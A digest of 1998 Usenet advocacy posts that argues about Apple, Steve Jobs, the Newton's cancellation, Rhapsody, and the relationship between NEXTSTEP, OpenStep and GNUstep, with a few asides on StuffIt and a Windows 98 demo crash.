dictionaries (associated lists), linked lists, and tons of toys freeeeeee! :)
C++ though, has far far better syntax (whoever thought of delimiting code
using tabs!?!). C++ is also required for many projects, because Python
isn't exactly an efficient language.
I've been toying with the idea of a simple Python preprocessor, that retabs
the documented based on {}'s, and generates weeenie comments ( # ) from
block ones ( /# ... #/ maybe? ) - although I probably won't.
:)
Anyway, I just sent a message bouncing off some ideas on the gnome mailing
list, and I'll be contributing the the project soon.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 22 Apr 1998 03:59:54 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6hjpvq$gpi$4@quasar.dimensional.com>
References: <6b51f7$j67$6@ironhorse.plsys.co.uk> <6d1e5c$bno$1@bignews.shef.ac.uk> <6devrh$ra1$5@quasar.dimensional.com> <6df800$fn6$29@ironhorse.plsys.co.uk> <6dfpj6$3o0$5@quasar.dimensional.com> <slrn6fn6au.cnk.sal@panix3.panix.com> <6gumlt$4m9$1@quasar.dimensional.com> <slrn6jdmtr.3u2.sal@panix3.panix.com> <6h8g9l$48$1@quasar.dimensional.com> <6hajer$57p$4@ironhorse.plsys.co.uk> <6heag2$18l$1@quasar.dimensional.com> <6hhjh3$57p$18@ironhorse.plsys.co.uk>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6hhjh3$57p$18@ironhorse.plsys.co.uk> , mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>>>> Well, OpenStep is not in question. NextStep is.
>>> What on earth has NEXTSTEP to do with this?!
>> Keep up on threads, don't you. If you can't figure out what NextStep has to
>> do with NextStep and GNUStep relations, you're more hopeless than I ever
>> thought.
> OK, Ken, pretend I'm really ignorant... please enlighten me, as the Master
> might enlighten the Grasshopper by bending over to tighten his sandal, let me
> know that is the relationship between NextStep and GNUStep.
> Let us also pretend that I do not have access to the WWW, so, unfortunate
> individual that I am, I cannot look at any URLs that you might care to refer
> me to; how much better anyway to hear the words like pearldrops -- or any
> other brand of tooth whitener for that matter -- from your own sweet lips.
I'll ignore this sarcasm... <grin>
Well, Mmalc, someone was questioning why, if NextStep is proprietary
software, can GNUStep then clone it. I explaned that OpenStep, what
NextStep adheres to IS an open standard, and that anyone is free to use it,
so long as they don't use copyrighted NextStep code...
And so, you ask... what NextStep has to do with this... and this is the
answer...
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 22 Apr 1998 04:01:02 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6hjq1u$gpi$5@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <34CF6517.1B6E@nstar.net> <6bfhf2$ad2$1@ns3.vrx.net> <adtEnzKxA.3Ar@netcom.com> <slrn6e47bo.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <adtEo8tD0.E96@netcom.com> <6cfpv7$m7j$4@quasar.dimensional.com> <34EC33CE.2CC99899@markelcorp.com> <forrestDELETE-THIS!-2302982253030001@term4-25.vta.west.net> <6g90l8$3cl$3@quasar.dimensional.com> <6hf7sf$57p$9@ironhorse.plsys.co.uk>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6hf7sf$57p$9@ironhorse.plsys.co.uk> , mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <6g90l8$3cl$3@quasar.dimensional.com> Kenneth R. Kinder wrote:
>> Take note that GNUStep and NextStep would have a GUI with the same
>> architecture...
> No they wouldn't. NextStep != OPENSTEP.
Sigh... same API architecture... happy now?
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: Tue, 21 Apr 1998 16:43:48 +0100
Organization: EarthLink Network, Inc.
Message-ID: <353CBEB1.78E1@earthlink.net>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <01bd6927$5321b180$24f0bfa8@davidsul> <6henng$pdv$1@interport.net> <353BCFAE.28D2@earthlink.net> <rmcassid-2104980845420001@dante.eng.uci.edu>
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rmcassid@uci.edu wrote:
> Based on what I've seen TIFFany needs some serious UI work and requires a
> fairly significant relearning for the user in terms of it's basic
> operation and feel.
If you are speaking about the use of nodes, that application design or
UI is becoming the norm for a great deal of image processing apps. In
fact, Photoshop's use of layers is becoming the rarity. I'm not
knocking Photoshop. I think it's a great program and I use it all the
time. I can however see TIFFany gaining ground with users of programs
like Cineon, Chalice, Animo Ax-Cel, and other applications that use a
similar UI for compositing images.
Steve
From: gdwarnernyet@ricochet.net (Glen Warner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Gates breaks 98
Date: Tue, 21 Apr 1998 23:32:19 -0700
Organization: GlenTech
Message-ID: <gdwarnernyet-2104982332200001@mg-20425426-46.ricochet.net>
References: <01bd6cb4$b88b4550$04387880@test1>
In article <01bd6cb4$b88b4550$04387880@test1>, "Todd Heberlein"
<todd@NetSQ.com> wrote:
> Bill Gates crashed Windows 98 during demonstration. For more information,
> see
>
> o http://www.news.com/News/Item/0,4,21284,00.html?st.ne.fd.mdh
>
> o http://news.bbc.co.uk/hi/english/special_report/1998/04/98/
> microsoft/newsid_81000/81155.stm
>
> Todd
>
> PS. Glue the two lines for the second URL together in your URL field.
:o)
MacOS Rumors has a QuickTime movie of this ... about 1 meg for the
not-so-great quality one.
--gdw
--
Remove the 'nyet' from the e-mail address, and you'll be all set.
(%*#$&! spammers ....)
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Tue, 21 Apr 1998 23:51:34 -0500
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-2104982351350001@digital-00-54.hou.neoworld.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net>
In article <joe.ragosta-1904981929240001@elk50.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>>> Killing the newton alone is enough reason to get rid of him. The Newton
>>> didn't deserve to die.
>>
>>I might believe this--if anyone could show that the Newton had ever made
>>money or had any chance of making money.
>>
>>I agree that the Newton was a nice device. I'd still like to have one.
Well, Joe, you'll probably be able to pick one up on the cheap, before too long.
Look at it this way: If you want a Newton MessagePad, then Jobs did you a favor
by killing it.
How many of you could afford the $1K price tag while Newton was still
"viable"? ;-D
>>
>>But Apple is not a charity. Newton was not making money and there was no
>>sign that it ever would. The entry of Windows CE devices was going to make
>>Newton's future even tougher than its past.
Bottom line: People didn't care how much better the Newton was than the
Palm Pilot
or Windows CE devices, for that matter.
They get the job done, and they don't cost a thousand bucks each.
Now, when the price of the discontinued MessagePads drop to the same price
point as
the Palm Pilots, I'm there, dude.
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
- Tom Vilot (tjv at indra dot com)
From: "Celes" <celes@deskmedia.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,soc.culture.usa
Subject: Re: America vs. Europe: education
Date: Tue, 21 Apr 1998 19:29:08 -0000
Organization: SkyPoint Communications, Inc.
Message-ID: <6hjelg$kls$1@shadow.skypoint.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <MPG.f9e0bd4339572849898ae@news.supernews.com> <rmcassid-1504981009550001@dante.eng.uci.edu> <6h3vq4$rgu$1@ha2.rdc1.sdca.home.com> <35392938.1DC@accesspro.net>
>"America vs. Europe"? Shouldn't it be "The United States vs. Europe"?
>Remember that "America" is the entire Western Hemisphere (North,
>Central, and South America), not only the U.S.A.
No, those are North and South America, or the Americas. The big country
that controls 25% of the worlds GNP is the United States of America, or
America
America (meaning the country) *never* has the article "the" and is never
plural.
The Americas (meaning America and all those other countries) usualy has the
article "the" and is plural.
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 22 Apr 1998 00:48:16 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6hjeog$gim$1@new-news.cc.brandeis.edu>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <B16151DF-182C38@207.217.155.172> <6hh4es$c92$1@news.digifix.com>
In article <6hh4es$c92$1@news.digifix.com> sanguish@digifix.com (Scott Anguish) writes:
>On 04/20/98, "Brad Hutchings" wrote:
>>>Now of course they have every right
>>>to keep this propriertary, but I think we should encourage Alladin
>to
>>>cooperate.
>>
>>What's wrong with a little competition? Concerning Aladdin, look at
>what
>>competition has done to make installers easy to program and easier to
>use,
>>as well as keeping unit prices super low.
>>
I agree totally. The problem is, Aladdin originally licensed the StuffIt
format from Raymond Lau, handling all the commercial and front-end
aspects. Mr. Lau actually only did the algorithm for StuffIt 1.x and
2.x archives - there was a competitor who came out with a product around
1990 that was both faster and compressed tighter than StuffIt 2.x or
Compact Pro, and Aldaddin bought this and made it the StuffIt 3/4 format!
Nobody remembers this, of course. Anyway, the Deluxe application is INEPT
and really a shoddy piece of software for 1998, it cannot deliver on what
I need it to do, what it should do. It's barely been updated for System
8. And then they contracted Victor Tan to do the Finder plug-in, so the
product REALLY has a pieced together feel, amazing that it works at all
(not that I don't like Victor's programming, which isn't bad at all -
Aladdin should have him rewrite the Deluxe application!)
Anyway, upshot is Aladdin isn't much more than a front end for other
people's work, and as such innovation doesn't come from within the company
- they're going to hold onto their products/marketshare as long as they
can. They don't have a good front end now, its not all in-house, so don't
expect them to go Open Source anytime soon!
>>This whole thing makes me think... If someone wrote a good shell with
>a
>>consistent HI for compression, encoding, and installation services,
>all
>>these guys would pay him!
>>
>
>
> Rhapsody will have a consistent HI for installation of apps.
>Thankfully it will be there from day one, and provided by Apple.
Apple has left TOO MANY things to third parties, as nice a gesture it
might be, things like installers and disk repair programs should come from
the OS vendor, be free, and be top-notch as they are essential software
and mission critical to everyone.
> Consistency of installation, recording of that installation
>information, and deinstalling capabilities are not the type of things
>that should be left up to a third party who have their own interests..
>
> That doesn't have users best interests in mind.
Exactly.
--
Nathan Raymond
http://www.everythingmac.com
--
Nathan Raymond
xray@cs.brandeis.edu
raymond@binah.cc.brandeis.edu
http://www.cs.brandeis.edu/~xray
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Wed, 22 Apr 1998 04:39:15 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <353D7473.5596B035@nstar.net>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net>
<353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com>
<6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM>
<6hj32i$hr2$1@ha2.rdc1.sdca.home.com> <353D120B.3B3B@CONVEX.COM> <6hjkb5$cc$2@ha2.rdc1.sdca.home.com>
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Rex Riley wrote:
> > You know what? I'm not even going to play that game. I'm think Jobs is
> > screwing the pooch, and I don't even want to discuss the excuses or
> > mitigating circumstances. Anyone who gets into that just gets egg on
> > their face. Michael Dell was once quoted, under pressure, as saying that
> > he wouldn't want the position Jobs has; he'd shut down the company
> > instead. All he got for that was intense ridicule.
> >
> >
>
> OK. I can respect your opinion that Jobs screwed the pooch. Had he canned
> Rhapsody I'd be carrying your "screw the pooch" argument here, instead. Sour
> grapes and all. ( I read how much you love OPENSTEP). :-)
Heh, yeah. Well, NEXTSTEP :)
> My point was simply that this is war. Apple's War. Apple is fighting for its
> corporate existence. Some things must be sacrificed to win. They must focus
> upon objectives. Objective==Profit. Newton was't.
Well, okay. And my point is, how come nobody has any clue what Apple's
objectives are?
> Now what's this bit about you thinking you're Michael Dell? :-)
Ah, megalomania is strong among nerds. :)
MJP
--
Michael J. Peck
"The only thing jocks think about is football. The only thing us nerds
think
about is sex. That's why we're so good at it."
-- Revenge of the Nerds
Newsgroups: comp.sys.next.advocacy
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Subject: Apple Cryptographic Architecture for Rhapsody and MacOS
Message-ID: <893218379.739727@globe.uwaterloo.ca>
Sender: news@watserv3.uwaterloo.ca
Organization: University of Waterloo
Cache-Post-Path: globe.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
Date: Wed, 22 Apr 1998 04:15:14 GMT
http://RhapsodyOS.com/report/RP00012.html mentions this as one of the WWDC
session. I wonder if FEE is going to make a comeback? R.E.C. rides again!
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
Newsgroups: comp.sys.next.advocacy
Date: Tue, 21 Apr 1998 22:24:29 -0700
Message-ID: <353D7EB0.6C6A8D49@starwave.com>
From: Dayne Miller <daynem@starwave.com>
MIME-Version: 1.0
Subject: Whatever happened to...
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
...NeXT's micro-wavelet codec (for NEXTIME)?
I don't see any sign of it in QT3. Seems a shame. Maybe it'll make it
into a some future "conferencing" version of QT? My recollection is that
one of its primary strengths was that it was relatively symmetrical in
terms of compression/decompression.
Any info appreciated...
-Dayne Miller
daynem@starwave.com
(While we're on the subject of lost technologies, is FEE [Fast Elliptic
Encryption] ever going to show up anywhere? And is Richard Crandall
working for Apple in a similar capacity to his role at NeXT (as Chief
Scientist) -- or at all for that matter?)
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 22 Apr 1998 05:34:01 GMT
Organization: MiscKit Development
Message-ID: <6hjvg9$ru7$4@news.xmission.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com> <6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM> <6hj32i$hr2$1@ha2.rdc1.sdca.home.com> <353D120B.3B3B@CONVEX.COM> <6hjkb5$cc$2@ha2.rdc1.sdca.home.com> <353D7473.5596B035@nstar.net>
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> Rex Riley wrote:
> > My point was simply that this is war. Apple's War. Apple is
> > fighting for its corporate existence. Some things must be
> > sacrificed to win. They must focus upon objectives.
> > Objective==Profit. Newton was't.
>
> Well, okay. And my point is, how come nobody has any clue
> what Apple's objectives are?
Um, could it be that "this is war"? Handing your warplan to the enemy for
critiquing is not usually considered to be a beneficial practice. Could that
be part of it? Hmmm?
OK. My turn to spew opinions on stuff I know nothing about. Seems to be the
in-thing right now. :-)
Fact is that we do know at least one of their objectives: survive. We have
no idea how Jobs plans to get there, nor do we know for sure if he has any
other hidden agendas beyond Apple's survival. Most would agree that to
survive, Apple needs to at least (a) show a profit and (b) return to growth.
If they can't do both, they are no longer viable and will either throw in the
towel themselves or spend several years fizzling into oblivion. (And both
have to be sustained, which means that the jury is going to be out for a long
time.)
I'd say that Jobs' moves to date, love them or hate them, have been primarily
addressing (a). They may or may not be the best moves toward (a), but when
he makes a decision, he _does_ have information that we don't have access to.
I sure hope he's using it well. (There's no way to be sure, and the only
"proof" of how good the decisions are is to wait and see if Apple makes it.)
Let's also hope that announcements at WWDC and new product announcements for
the rest of the year start to show more of (b) before the "Game Over" lights
flick on.
Aside: I can't help but wonder if Apple dropping the Newton isn't sort of
like the way an animal that's caught in a trap will gnaw off it's leg to get
away. Did Jobs see a hunter coming? The whole thing reeks of survival
tactics to me. Note that the animal will sorely miss that leg later...but is
it better to be alive with three legs or dead with four?
I'd posit that some here would much rather let the animal die, as long as it
remains intact. Of course, it is still a matter of opinion as to whether or
not Apple was/is such dire straits. Perhaps not, but things still look
pretty serious to me, from where I sit. Looking up, yes, but we're not out
of the woods yet.
Well, enough spewing. Nothing good will come of it, mark my words. :-)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: steve_bryan@hotmail.com (Steve Bryan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Wed, 22 Apr 1998 00:26:00 -0500
Organization: VSI
Message-ID: <steve_bryan-2204980026010001@pub-24-a-139.dialup.umn.edu>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net>
In article <joe.ragosta-1904981929240001@elk50.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net>,
> spambait@seemysig.com (Mike Cohen) wrote:
...
> >
> > Killing the newton alone is enough reason to get rid of him. The Newton
> > didn't deserve to die.
>
> I might believe this--if anyone could show that the Newton had ever made
> money or had any chance of making money.
I would think that the Palm Pilot provides evidence that the Newton had a
chance of making money. Until its success one could possibly claim that
there just wasn't money to be made in this product category. Surely no one
could claim that now. However, I think they were right to narrow the focus
of Apple but don't quite understand why it was necessary to spin Newton
back in only to kill it. Whatever was to be gained by picking over the
corpse would seem to be dissipated by the well-earned ill will.
--
Steve Bryan
email: steve_bryan@hotmail.com
icq: 5263678
pgp: D758 183C 8B79 B28E 6D4C 2653 E476 82E6 DA7C 9AC5
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 22 Apr 1998 09:57:24 +0200
Organization: The Computer Society at Lund
Message-ID: <6hk7t4$fgu$1@bartlet.df.lth.se>
References: <6b51f7$j67$6@ironhorse.plsys.co.uk> <6heag2$18l$1@quasar.dimensional.com> <6hhjh3$57p$18@ironhorse.plsys.co.uk> <6hjpvq$gpi$4@quasar.dimensional.com>
NNTP-Posting-User: cb
In article <6hjpvq$gpi$4@quasar.dimensional.com>,
Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>In comp.os.linux.advocacy , article
><6hhjh3$57p$18@ironhorse.plsys.co.uk> , mmalcolm crawford
><malcolm@plsys.co.uk> wrote:
>
>> OK, Ken, pretend I'm really ignorant... please enlighten me, as the Master
>> might enlighten the Grasshopper by bending over to tighten his sandal, let me
>> know that is the relationship between NextStep and GNUStep.
>
>> Let us also pretend that I do not have access to the WWW, so, unfortunate
>> individual that I am, I cannot look at any URLs that you might care to refer
>> me to; how much better anyway to hear the words like pearldrops -- or any
>> other brand of tooth whitener for that matter -- from your own sweet lips.
>
>I'll ignore this sarcasm... <grin>
>
>Well, Mmalc, someone was questioning why, if NextStep is proprietary
>software, can GNUStep then clone it. I explaned that OpenStep, what
>NextStep adheres to IS an open standard, and that anyone is free to use it,
>so long as they don't use copyrighted NextStep code...
Ahh .. you are confusing things.
NEXTSTEP (the final capitalization used for that product) was never an
open standard; the open standard, developed by NeXT and Sun in
cooperation, and based upon NEXTSTEP, was given the name OpenStep. NeXT's
implementation of this open standard is called OPENSTEP (not the
capitalization); it is based directly on the code base of NEXTSTEP, but
implements the OpenStep standard.
So, the only 'relation' there is between NEXTSTEP and GNUstep, is that
NEXTSTEP was the ancestor of the OpenStep standard, and that GNUstep is an
attempt to implement said standard (OpenStep), without basing this
implementation on NeXTs OPENSTEP codebase.
>And so, you ask... what NextStep has to do with this... and this is the
>answer...
... and you were, alas, mistaken.
>--
>
> H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
> \==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
> O=<__>N-C3H |
> H3C-N \\O | Ken & Ted's Software
>_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
>
// Christian Brunschen
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Tue, 21 Apr 1998 23:28:59 -0500
Organization: KAOS
Message-ID: <199804212328592608326@sdn-ts-004txhousp01.dialsprint.net>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@CONVEX.COM>
Michael Peck wrote:
> Sam Kass wrote:
>
> > I think the only evidence so far is that Amelio was generally on the right
> > track, albeit traveling much too slowly.
>
> Exactly. Which is a new message for this newsgroup.
I don't think that message is either entirely new or entirely accurate.
Even if the whole of Jobs's achievement could be summed up as moving 10
times faster than Amelio, however, I'd say that for a company in Apple's
situation, such speed could be the difference between dying and
thriving.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: WinNT: Breaches US.gov Security
Date: 22 Apr 1998 01:53:44 GMT
Organization: @Home Network
Message-ID: <6hjij8$cc$1@ha2.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
ref: http://www.wired.com/news/news/technolgy/story/11811.html
Apple ducks another bullet over network security. Last week Standford (
http://www.mercurynews.com/business/center/stanford09.htm ) , this week US
military sources learned a WinNT network computer gave up the goods to a team
of network crackers.
In all, software downloaded off the NT server only affected classified US
military networks and satellites. Short of calling the security breach an act
of war, the implications of going to war with Microsoft's OS ... are being
called an Achilles' Heel.
Stanford Business School enjoyed a similar though different network fate which
was unfairly reported in the press as "only Windows". In truth, the data loss
problem could have been experienced on any OS at the hands of Stanford's
contractors doing the work. This latest story, specifically, identifies WinNT
as the source of the classified downloads at a supposedly secure US government
installation. Caution should be exercised as we later may find that that this
OS break of security had nothing to do with the WinNT OS.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 22 Apr 1998 02:23:33 GMT
Organization: @Home Network
Message-ID: <6hjkb5$cc$2@ha2.rdc1.sdca.home.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net>
<353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com>
<6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM>
<6hj32i$hr2$1@ha2.rdc1.sdca.home.com> <353D120B.3B3B@CONVEX.COM>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: ECK@CONVEX.COM
In <353D120B.3B3B@CONVEX.COM> Michael Peck wrote:
> Rex Riley wrote:
>
> > > As revenues continue to plunge.
> >
> > Tsck, tsck... Michael - How many balls can this re-startUp company juggle?
>
> You know what? I'm not even going to play that game. I'm think Jobs is
> screwing the pooch, and I don't even want to discuss the excuses or
> mitigating circumstances. Anyone who gets into that just gets egg on
> their face. Michael Dell was once quoted, under pressure, as saying that
> he wouldn't want the position Jobs has; he'd shut down the company
> instead. All he got for that was intense ridicule.
>
>
OK. I can respect your opinion that Jobs screwed the pooch. Had he canned
Rhapsody I'd be carrying your "screw the pooch" argument here, instead. Sour
grapes and all. ( I read how much you love OPENSTEP). :-)
My point was simply that this is war. Apple's War. Apple is fighting for its
corporate existence. Some things must be sacrificed to win. They must focus
upon objectives. Objective==Profit. Newton was't.
Now what's this bit about you thinking you're Michael Dell? :-)
-r
Rex Riley
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 22 Apr 1998 02:31:12 GMT
Organization: @Home Network
Message-ID: <6hjkpg$cc$3@ha2.rdc1.sdca.home.com>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1>
<6hints$99c$1@ns3.vrx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: maury@istar.ca
In <6hints$99c$1@ns3.vrx.net> Maury Markowitz wrote:
> In <01bd6d64$7b8394e0$04387880@test1> "Todd Heberlein" claimed:
[snip snip ]
> > SGI also (I believe) has announced that it will port its IRIX operating
> > system to the Merced hardware, joining virtually every UNIX vendor who
> > has announced Merced support. There have also been several reports of
> > Apple's plan to support Rhapsody on Merced.
>
> Why doesn't Apple just BUY SGI? The match is too good.
>
>
What does it buy them? A different and deeper niche than the ones they
already have? A parallel supercomputer? Help me here, I'm really slow on the
upside...
-r
Rex Riley
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 22 Apr 1998 05:32:49 GMT
Organization: @Home Network
Message-ID: <6hjve1$cc$4@ha2.rdc1.sdca.home.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net>
<353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com>
<6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM>
<6hj32i$hr2$1@ha2.rdc1.sdca.home.com> <353D120B.3B3B@CONVEX.COM>
<6hjkb5$cc$2@ha2.rdc1.sdca.home.com> <353D7473.5596B035@nstar.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: mjpeck@nstar.net
In <353D7473.5596B035@nstar.net> "Michael J. Peck" wrote:
> Rex Riley wrote:
>
> > > You know what? I'm not even going to play that game. I'm think Jobs is
> > > screwing the pooch, and I don't even want to discuss the excuses or
> > > mitigating circumstances. Anyone who gets into that just gets egg on
> > > their face. Michael Dell was once quoted, under pressure, as saying that
> > > he wouldn't want the position Jobs has; he'd shut down the company
> > > instead. All he got for that was intense ridicule.
> > >
> > >
> >
> > OK. I can respect your opinion that Jobs screwed the pooch. Had he
canned
> > Rhapsody I'd be carrying your "screw the pooch" argument here, instead.
Sour
> > grapes and all. ( I read how much you love OPENSTEP). :-)
>
> Heh, yeah. Well, NEXTSTEP :)
>
> > My point was simply that this is war. Apple's War. Apple is fighting for
its
> > corporate existence. Some things must be sacrificed to win. They must
focus
> > upon objectives. Objective==Profit. Newton was't.
>
> Well, okay. And my point is, how come nobody has any clue what Apple's
> objectives are?
>
>
Point... Who ever won a War by leaking Battle Plans the eve before the
march... Counterpoint.
Q: You expected to find those data points here? C.S.N.A.?
Just for the record: MJP would Keep Newton and Dump NeXT et. al. Rhapsody?
-r
Rex
From: hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address (Carl Bond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Gates breaks 98
Date: 22 Apr 1998 05:26:02 GMT
Organization: A wee lone soul with a Macintosh for power...
Message-ID: <hi-2808560228130001@1cust34.tnt8.krk1.da.uu.net>
References: <01bd6cb4$b88b4550$04387880@test1> <353C3760.C32C5EE8@trilithon.com> <slrn6jpip9.g73.mark@sapphire.oaai.com>
In article <slrn6jpip9.g73.mark@sapphire.oaai.com>, mark@OAAI.COM wrote:
| In article <353C3760.C32C5EE8@trilithon.com>, Henry McGilton wrote:
| >Todd Heberlein wrote:
| > * Bill Gates crashed Windows 98 during demonstration.
| > * For more information, see . . .
| >Yawn. When His Stevieness crashed an EOF demo at NextWorld,
| >he just said, "there --- now you can see it's a live demo".
| >
| > ........ Henry
|
| Or my personal favourite at a demo of WebObjects, when a Windows 95 client
| crashes during the demo, without skipping a beat Jobs says:
|
| "This commercial break brought to you by Microsoft."
|
| :-)
| Mark
Boy... That's funny as a thread titled "Win98 is a... Bill helps prove it."
Glad the enertainment is still there for me to burst out laughing...
--
"I urge you to be different. I urge you to buy Macintosh. You'll
personally reap the benefits and you'll have great strength. Enjoy."
<Carl Bond> <cbond@earthlink.net>
